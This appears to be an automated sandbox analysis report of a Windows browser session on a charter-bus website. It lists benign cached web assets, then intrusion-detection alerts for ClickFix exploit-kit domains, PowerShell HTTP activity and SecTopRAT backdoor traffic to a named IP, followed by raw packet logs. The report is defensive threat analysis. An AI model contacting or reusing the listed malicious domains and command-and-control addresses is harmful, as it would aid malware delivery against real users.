Preview:	var scriptUrl = 'https:\/\/www.youtube.com\/s\/player\/804c67d2\/www-widgetapi.vflset\/www-widgetapi.js';window['yt_embedsEnableIframeApiSendFullEmbedUrl'] = true ;window['yt_embedsEnableAutoplayAndVisibilitySignals'] = true ;try{var ttPolicy=window.trustedTypes.createPolicy("youtube-widget-api",{createScriptURL:function(x){return x}});scriptUrl=ttPolicy.createScriptURL(scriptUrl)}catch(e){}var YT;if(!window["YT"])YT={loading:0,loaded:0};var YTConfig;if(!window["YTConfig"])YTConfig={"host":"https://www.youtube.com"};.if(!YT.loading){YT.loading=1;(function(){var l=[];YT.ready=function(f){if(YT.loaded)f();else l.push(f)};window.onYTReady=function(){YT.loaded=1;var i=0;for(;i<l.length;i++)try{l[i]()}catch(e){}};YT.setConfig=function(c){var k;for(k in c)if(c.hasOwnProperty(k))YTConfig[k]=c[k]};var a=document.createElement("script");a.type="text/javascript";a.id="www-widgetapi-script";a.src=scriptUrl;a.async=true;var c=document.currentScript;if(c){var n=c.nonce\|\|c.getAttribute("nonce");if

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	250
Entropy (8bit):	5.077025773477826
Encrypted:	false
SSDEEP:	6:tnrZvUYltumc4slfRIRQqSD89Nm0MxqZFmqZlloyBY:trZvnltuw2qpXLM4jhlloyBY
MD5:	F1AF7461896013157F45B18B6C059FE3
SHA1:	8238055F412EBF2FA6BCB0994E6DF5F9C606BE7F
SHA-256:	E4764A79DFDECA31F71D8356B081268249F53C75DA89A6E32FB8FBA00A096ECE
SHA-512:	78976F4A146043E237DA920FDFC3E8B4563653C68CBD77A9E3EBC7C615854F6AD199303FACD34DD0325BAC0B4A935D0BEEFE5CA4930A449CCE92DA884D25B8CD
Malicious:	false
Reputation:	low
Preview:	<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M13.3333 4.00003L5.99996 11.3334L2.66663 8.00003" stroke="#0BCC9E" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path> </svg>

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	44703
Entropy (8bit):	4.535437736241583
Encrypted:	false
SSDEEP:	768:WpOf2CCF4CfFT7WCFLFUhNPlW3jI6F4VfAIoim6Ykg8d8YWYaB/O3VIV+Fvz:Xf2CCF4CfhlxwlKjNDimgg8dS8KV+Rz
MD5:	36CA020464FE9B9DE382DDC37A424E76
SHA1:	5AC4D2AC11D96CDC313F0EB2CCBB06D5714F9783
SHA-256:	478FE0CA603CD9D1477475F0C13CF516B63D6A30AF2CE8CF1FF291B973FDC4A8
SHA-512:	2B268DD01C90482855F924F0D8A719FEBC3E22DE83F9C493B8B77A6AF1F6A4C88DEF56243FA62462EAB5B9351BA5614AECC4ACEE917181FB870FD4C8A930AE3F
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/css_new_design/media.css
Preview:	@media (min-width:2000px) {. .container {. width: 1538px;. }.. .citiesSetion.destinationWrap .team {. width: 100%;. }.. .citiesSetion .team {. width: calc(100% + 65%);. }.. .citySection .gapTop {. margin-top: 150px;. }..}..@media (min-width:1920px) and (max-width:1999px) {. .formWrap {. margin: 0 auto;. }.. .citiesSetion.destinationWrap .team {. width: 100%;. }.. .citiesSetion .team {. width: calc(100% + 40%);. }..}..@media (min-width:1600px) and (max-width:1920px) {. .citiesSetion .team {. width: calc(100% + 40%);. }.. .citiesSetion.destinationWrap .team {. width: 100%;. }..}..@media (min-width:1400px) and (max-width:1920px) {. .container {. width: 1280px;. }..}..@media (min-width:1400px) and (max-width:1600px) {. .citiesSetion .team {. width: calc(100% + 280px);. }.. .citiesSetion.destinationWrap .team {. width: 100%;. }..}../* --

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 144 x 55, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2805
Entropy (8bit):	7.574270342215127
Encrypted:	false
SSDEEP:	48:VFttavlRw589xOjvHB4xTr5HUvy0+Vc0B5h1asZrIxyFex+NEG7iRq9+Ra:VLUlRG89eHCZRUaPSJsRIxyFeANERqCa
MD5:	E1C77079C0BA999ECF355EC7B9D40F1F
SHA1:	4FF481E7BC3268934E3C91CD745A38497B5523C4
SHA-256:	1ACB1A10483BB7D99C2B3377FB925ADF3B815556C34367068AEE699F897199D0
SHA-512:	74B4A4E701C3611181751E0921528D974D7127782D2C02CE38C6731FCD0ECDEB436019E5F690A9595932DBD291FB7B25F670EA48038EFAA2BC61CDF19BAD8DFE
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/city/icon3.png
Preview:	.PNG........IHDR.......7......3.....sRGB...,.....pHYs...%...%.IR$.....PLTE..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................c.g[....tRNS.........".....3Rm...........~dB ..4k.........\$......G.....E.J.....g.Q..'#...i.=..au....\|+0./....n.*....%..)Yf-w.t[.,..IK^..o.5.:c7.....p....1...C.V`...2H&.......W.T.h?..z.AL.l.

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 269x179, components 3
Category:	downloaded
Size (bytes):	30402
Entropy (8bit):	7.979411912952169
Encrypted:	false
SSDEEP:	768:GKyCIrxccCVptpU7nXFof4j0eaF2cbK/vA5:GfhMpAX4/P6vA5
MD5:	4C59196B4C158ABEE2D6204C118DD50A
SHA1:	54FA900C3666AE8E66045FBD5A6B87C3AE2E9BE6
SHA-256:	70539B3AA8756B99E14BA1CAD1B786515896F4E7C014799C5E51D6E6E1BADBFC
SHA-512:	CF40DFAD7853B3CE6C7ACFC66E1D258624F00CD3760CFB07FBEECA6C0A9C2E4711629C305B6419DE0808A5D9F92D7717F20DE26E1A91BF866C117EEC69760539
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/employee/upload/generalSliderImages/1667934889wedding-shuttle-couple.jpg
Preview:	......JFIF.........................................................................&$&22C...........................................................&$&22C......................6....................................................................+l...X.H.M.QH\..O.>4.=Gu1X...].8"..&.0.r.T......4-iAU.....`.......7....Ff...!.....d...P:....>Y.yk.Z....).I<a...H.K.R.jbP.1G=<.9.sr..H..j.>.g.?.c48..g....6.^.`.M6..XX.....ic..M..=.hE3el....z...s..6g..$`.h....p.Q.9K j..4#..B=O..b.g.6.F..3w..9hb..[.....n~..-...-.\.9$.7.F>..>2B%.8LS.txv.,d.K...O...U......a$.$zx...x.m~..\|.F<...<.R..$.%...9..Y..f`..QT..i...8..)E...2..u.w.~.....S.9l.u..EE......Y...)....r..`\J.B.b.lu.t.......".-C&.3.MU...i_..r...ec.2."........zCR..O!..Y..}........ ..t....b....j...\e..t......e._95./n..x..Q.+n....WD7~`.Qy....Q%-.a..~e....j.Y....)..rzS....EhM.%.T..Y.1...lu.....`....L....Uj.1....F0...o......l..0.....y".&..."...n..I.4.t}...c8e."+Y..U..s..;/..Y...:4....!U_71.`..b(.r..qX..Z.q:+........

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 288 x 177, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	72451
Entropy (8bit):	7.988070284306521
Encrypted:	false
SSDEEP:	1536:HLqqVlrAC+kjWLyqhKgD2wLelOVIqSdeK3DLtdFy30s9cJPf1ct0yV+alEkJhy:71AChjLqkEterpDLtdKVcNf2twKXJ0
MD5:	B0578A58363561C9CAF8435E5AA6F02B
SHA1:	430DEC37E5157055755F14C732F84BDE8D2035D2
SHA-256:	21ECD37AC283458F6C489B784886CEAD8A1A82FB6EC00B2E3C826C0053756ACA
SHA-512:	29D94BB403FE2365F694EC8388C339C594DE678BD0B4BDCC3D0C2A8042D7A477C5D196DD69623E25745BA7D580F104DB70B2DBBDFAAEBDA2E1C80FEC43ACFFED
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/school-bus-semiperfil.png
Preview:	.PNG........IHDR... .........d.`....NeXIfMM..................>...........F.(.............................H.......H....o.#....pIDATx...w.f.U.....O....H.......b..CM.qx!....../.@..}C/.X.6...XnX..%...M?3sz}..w..q...$....e.>......{.u.k..=..]...B.\|...E.h....:..v....f...E.h.......].....E.t...E{....h..`v..]..v.^0....E.h/.]t@..]....:..v....f..~.....<..u...Zc8..++..fo\|y}sz..B{a...k.tQ.o5b.=.N.u....."../t.&.U$.....p...^..v..~v..]....;.....z.Z..i...,..6N..k.-..6....F...M..m..k..:....8..n..t.....BD.\A.....s..t..O_.'O%.;.f...^.O~............F.......>...g........K+,.......Y^.E...>......... $X.R..m\...5....v....v1....s..q.d.:.P~...'N.x.h..J...J<Z./9.6_}1bz....h...g.P~.2];~.<v[w...C.7\|..gf.\|...C.p.g.."..&.....tjH..T..3@D%.....o..@...1.z.w.........X......M.>.F~...L..n{..,...~..P..j..i.G......]{.h\z_.>....<~..E.t..?...y..O._.9..oF..bqV$s.....H>..!N.?.`.ARWl....=.....".()A.....`....Y....K.r..2..$I..c."'[^..8......n.....wl.w..qN~....4....e..m>}.a.....^.[]:..q

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	250
Entropy (8bit):	5.077025773477826
Encrypted:	false
SSDEEP:	6:tnrZvUYltumc4slfRIRQqSD89Nm0MxqZFmqZlloyBY:trZvnltuw2qpXLM4jhlloyBY
MD5:	F1AF7461896013157F45B18B6C059FE3
SHA1:	8238055F412EBF2FA6BCB0994E6DF5F9C606BE7F
SHA-256:	E4764A79DFDECA31F71D8356B081268249F53C75DA89A6E32FB8FBA00A096ECE
SHA-512:	78976F4A146043E237DA920FDFC3E8B4563653C68CBD77A9E3EBC7C615854F6AD199303FACD34DD0325BAC0B4A935D0BEEFE5CA4930A449CCE92DA884D25B8CD
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/tickMark.svg
Preview:	<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M13.3333 4.00003L5.99996 11.3334L2.66663 8.00003" stroke="#0BCC9E" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path> </svg>

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9740)
Category:	downloaded
Size (bytes):	380905
Entropy (8bit):	5.605157463526805
Encrypted:	false
SSDEEP:	6144:12W4ILtuRQNcbtQ6jo/yF43F8yuxwCtjcK:12kgRQKtmCtx
MD5:	4939A1F1EA190BB545C558EEA4BBE6C4
SHA1:	B464D57F27DC13E4FA5042E74F723C72E433C62B
SHA-256:	9F34D8E37698DFDAB7AD72BCDA98927A7F105CC990EA717116FD12EB4353C150
SHA-512:	67D9CD8D398B341A7A1E06152F3B4E60EEEDFD663197E20325207BD001BA5FDC02CA4996D7F96E0FEC15A087660C58167575B18F6ADC3E818FEC3BCE429DF8FE
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtm.js?id=GTM-KVPLCVG
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"96",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":"5980924"},{"function":"__c","vtp_value":"835384452"},{"function":"__u","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__u","vtp_component":"URL","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__v","vtp_name":"gtm.triggers","vtp_dataLayerVersion":2,"vtp_setDefaultValue":true,"vtp_defaultValue":""},{"function":"__c","vtp_value":"G-TSFRMYZ71E"},{"function":"__gtcs","vtp_configSettingsTable":["list",["map","parameter","send_page_view","parameterValue","true"]]},{"function":"__u","vtp_component":"PATH","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__v","vtp_name":"gtm.elementClasses","vtp_dataLayerVersion":1},{"function":"__aev","vtp_varType":"TEXT"},{"function":"__v","vtp_name":"gtm.elementUrl","

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 48564, version 1.0
Category:	downloaded
Size (bytes):	48564
Entropy (8bit):	7.995115637896035
Encrypted:	true
SSDEEP:	768:x/X3FXh7QDuzx4AqW+1/SzIABhKHD+YsQ3sdzgypj1OCKEhhs63s74em0dD:x/3FxQ42qfC+Yh3sxd1UchBsdD
MD5:	0AAF7F70A86BF7734D73D7EFD94E4753
SHA1:	9813BC4583ADCB8BF115E7D9086CB3FC7CBEF75C
SHA-256:	B3D5E3D6AE8DDE3104F77D64BC49087369DEE7D36580EC9253C3D21F089881C0
SHA-512:	1257961DEAF71F0DBAA8A120DF2BB30998C2980A1408310DB0A266293798578C9EDE487DAD3CCC3808492B9EDBA6B86BC707B0267207042BE4DC3F912E8255A2
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/fonts_new_design/Poppins/Poppins-SemiBold.woff2
Preview:	wOF2..............=\...Q........................?FFTM......(..X.`..^........<.....6.$..f. .....8[........ffF.Am2...e...4......./=7....V#..E....i..-......oH&2f..^h.[..AE../..R.F$.J.[..+]Z.i.m..L)..yq...v..m..r@..T.....+Oww..n...[y,><\|..5.F.F04SI....rj...i.[.)...Fufp..VW.(/.a.2.....9.6..~.....?T)E,\|.,bb$...SF8...>z.f...3.@...'...b.]f.e4...d.K.K.Y..,.J9 %m....n=..Z..S~q)..f..\..:$...&I.(...w...4../.+4e....K.\...KX.........Q.....a^.M52...8n^.%..-..V..........Or..x...c.k.r...Zk.r.f..E..Q..R&.2......R(-...f.\..\.e..^.t.cb.-e96 .q.....7.........._.hn..c..X.0B.%.l....#{..t"......hmBDD.[....a..3jf.BA..,.I.`!......L.Pg.]..E.KWn.n...\..sY.....?.u`.}......~.........k.=.....'.....G..........t...H...7.P.{....y#$..r.R.G..).f..TS.E,.^T...q...T%........Pf..+!.l..i....B.P.T.........!.....@..]c.....E...>{y.{.{.;.zr....l.!..&fr./gb;9.......U.u.:..&."..we...Z..7....Z{Q.A.j..4.:......`>...b...J......A....Hs....cP&..n.\~.....m...B....y...-6.c7..X.....%....~.

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	13508
Entropy (8bit):	3.8978741709333344
Encrypted:	false
SSDEEP:	192:5J71LeQbWPk7R+LwSORSmLZOEshWaQaT2tRhWBtmgd1FKg767kb/yTJtUemQBN3a:vvWk7R+8SORSm8gLv2Wghb0JFmQT3tk
MD5:	80FC322731C4D81950B77E57CF9871CF
SHA1:	322BB9A9EC598AE9243E948465FCE2768D55BD9B
SHA-256:	9C4735FC7EC6074FEC2F082A1692C99979E17F0BE81AC1772A692692170BCC1D
SHA-512:	1F51BDF453E6632E148D86B7772868ED997895BADA7CB6EEAAEA15530E8AD02228EBAEADE81D8A28748363F798B334FAF662BAB34491B68E69E6E707BC10DA11
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg id="Capa_1" data-name="Capa 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 138.21 81.21">. <defs>. <style>. .cls-1 {. fill: #ef2d28;. }. </style>. </defs>. <g>. <g>. <path class="cls-1" d="M47.71,10.59c-5.04,0-9.14,4.1-9.14,9.14s4.1,9.14,9.14,9.14,9.14-4.1,9.14-9.14-4.1-9.14-9.14-9.14Z"/>. <path class="cls-1" d="M136.43,5.12L125.35.25c-1.15-.51-2.5-.23-3.35.69-.34.36-.57.79-.7,1.25h-13.65c-6.26,0-11.76,3.29-14.86,8.24-3.1-4.99-8.63-8.31-14.94-8.31-3.07,0-5.96.79-8.47,2.18-2.74,1.48-5.05,3.67-6.67,6.32-3.08-5.05-8.64-8.42-14.98-8.42s-11.95,3.41-15.02,8.5c-.69-1.16-1.52-2.24-2.45-3.2-.15-.24-.34-.45-.56-.64l-.55-.47c-1.06-.9-2.21-1.67-3.42-2.29-2.43-1.27-5.19-1.99-8.11-1.99C7.88,2.12,0,9.98,0,19.7s7.68,17.39,17.22,17.58h.53c4.24,0,8.33-1.54,11.53-4.31,1.37-1.19,2.54-2.58,3.46-4.1,3.08,5.04,8.64,8.41,14.98,8.41s11.9-3.37,14.98-8.42c3.08,5.05,8.64,8.42,14.98,8.42h.52c6.14-.12,11.51-3.39,14.55-8.26,3.1,4.

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-05-21T21:48:01.065182+0200	2060839	ET EXPLOIT_KIT Observed ClickFix Domain (myvocabulary .com) in DNS Lookup	1	192.168.2.5	52117	1.1.1.1	53	UDP
2025-05-21T21:48:01.285037+0200	2061956	ET EXPLOIT_KIT ClickFix Domain in DNS Lookup (clients .contology .com)	1	192.168.2.5	57444	1.1.1.1	53	UDP
2025-05-21T21:48:01.285324+0200	2061956	ET EXPLOIT_KIT ClickFix Domain in DNS Lookup (clients .contology .com)	1	192.168.2.5	59736	1.1.1.1	53	UDP
2025-05-21T21:48:01.933450+0200	2060845	ET EXPLOIT_KIT Observed ClickFix Domain (myvocabulary .com) in TLS SNI	1	192.168.2.5	49712	54.175.154.40	443	TCP
2025-05-21T21:48:02.232867+0200	2061957	ET EXPLOIT_KIT ClickFix Domain in TLS SNI (clients .contology .com)	1	192.168.2.5	49713	50.57.243.90	443	TCP
2025-05-21T21:48:23.728209+0200	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49750	104.21.91.178	443	TCP
2025-05-21T21:48:24.560538+0200	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49751	104.21.16.1	443	TCP
2025-05-21T21:49:12.674746+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49758	144.172.101.228	9000	TCP
2025-05-21T21:49:12.674746+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49758	144.172.101.228	9000	TCP
2025-05-21T21:49:12.674746+0200	2061118	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M3 (GET)	1	192.168.2.5	49758	144.172.101.228	9000	TCP
2025-05-21T21:49:13.414112+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49759	144.172.101.228	9000	TCP
2025-05-21T21:49:13.414112+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49759	144.172.101.228	9000	TCP
2025-05-21T21:49:13.414112+0200	2061118	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M3 (GET)	1	192.168.2.5	49759	144.172.101.228	9000	TCP
2025-05-21T21:49:14.159963+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49760	144.172.101.228	9000	TCP
2025-05-21T21:49:14.159963+0200	2061118	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M3 (GET)	1	192.168.2.5	49760	144.172.101.228	9000	TCP
2025-05-21T21:49:14.907576+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49761	144.172.101.228	9000	TCP
2025-05-21T21:49:14.907576+0200	2061118	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M3 (GET)	1	192.168.2.5	49761	144.172.101.228	9000	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 21, 2025 21:47:43.141009092 CEST	49676	443	192.168.2.5	20.189.173.14
May 21, 2025 21:47:43.452987909 CEST	49676	443	192.168.2.5	20.189.173.14
May 21, 2025 21:47:44.062361956 CEST	49676	443	192.168.2.5	20.189.173.14
May 21, 2025 21:47:44.109241009 CEST	49672	443	192.168.2.5	204.79.197.203
May 21, 2025 21:47:45.265645027 CEST	49676	443	192.168.2.5	20.189.173.14
May 21, 2025 21:47:47.671808004 CEST	49676	443	192.168.2.5	20.189.173.14
May 21, 2025 21:47:52.086245060 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:52.086293936 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:52.086817980 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:52.088205099 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:52.088215113 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:52.474136114 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:52.474330902 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:52.480223894 CEST	49676	443	192.168.2.5	20.189.173.14
May 21, 2025 21:47:52.495471954 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:52.495486975 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:52.505472898 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:52.505481005 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:52.511354923 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:52.512479067 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:52.512546062 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:52.512809992 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:52.515387058 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:52.518188953 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:52.519253969 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:52.727330923 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:52.727986097 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:52.728172064 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:52.785660028 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:52.785691977 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:52.785744905 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:52.785773993 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:52.785806894 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:52.785831928 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:52.931956053 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:52.931996107 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:52.932152033 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:52.984972000 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:52.985059977 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:52.985091925 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:52.993923903 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:52.993990898 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:52.994157076 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:53.000632048 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:53.000683069 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:53.001121998 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:53.001331091 CEST	443	49693	142.250.141.94	192.168.2.5
May 21, 2025 21:47:53.001378059 CEST	49693	443	192.168.2.5	142.250.141.94
May 21, 2025 21:47:53.712104082 CEST	49672	443	192.168.2.5	204.79.197.203
May 21, 2025 21:47:56.372097015 CEST	49700	443	192.168.2.5	142.250.101.105
May 21, 2025 21:47:56.372185946 CEST	443	49700	142.250.101.105	192.168.2.5
May 21, 2025 21:47:56.372654915 CEST	49700	443	192.168.2.5	142.250.101.105
May 21, 2025 21:47:56.372843027 CEST	49700	443	192.168.2.5	142.250.101.105
May 21, 2025 21:47:56.372864008 CEST	443	49700	142.250.101.105	192.168.2.5
May 21, 2025 21:47:56.764261007 CEST	443	49700	142.250.101.105	192.168.2.5
May 21, 2025 21:47:56.764554977 CEST	49700	443	192.168.2.5	142.250.101.105
May 21, 2025 21:47:56.765754938 CEST	49700	443	192.168.2.5	142.250.101.105
May 21, 2025 21:47:56.765780926 CEST	443	49700	142.250.101.105	192.168.2.5
May 21, 2025 21:47:56.766499996 CEST	443	49700	142.250.101.105	192.168.2.5
May 21, 2025 21:47:56.808065891 CEST	49700	443	192.168.2.5	142.250.101.105
May 21, 2025 21:47:57.653249979 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:57.653328896 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:57.653822899 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:57.654448986 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:57.654460907 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:57.677320004 CEST	49702	80	192.168.2.5	18.188.153.65
May 21, 2025 21:47:57.677606106 CEST	49703	80	192.168.2.5	18.188.153.65
May 21, 2025 21:47:57.885867119 CEST	80	49702	18.188.153.65	192.168.2.5
May 21, 2025 21:47:57.885885000 CEST	80	49703	18.188.153.65	192.168.2.5
May 21, 2025 21:47:57.886147976 CEST	49703	80	192.168.2.5	18.188.153.65
May 21, 2025 21:47:57.886149883 CEST	49702	80	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.105803013 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:58.105973005 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.107513905 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.107539892 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:58.107831955 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.107841969 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:58.108082056 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.108092070 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:58.108272076 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:58.108988047 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:58.109052896 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.109183073 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.110389948 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:58.152770042 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.867950916 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:58.868674994 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:58.868750095 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.868892908 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:58.869080067 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:58.869154930 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.869904995 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:58.870121956 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:58.870186090 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.870331049 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:58.870584011 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:58.870636940 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.870778084 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:58.870965004 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:58.871016026 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.955048084 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.955420017 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.955725908 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.956024885 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.957066059 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.957330942 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.957561016 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.957787037 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.958015919 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.959316015 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:58.967525005 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.968457937 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.969834089 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:58.973112106 CEST	443	49701	18.188.153.65	192.168.2.5
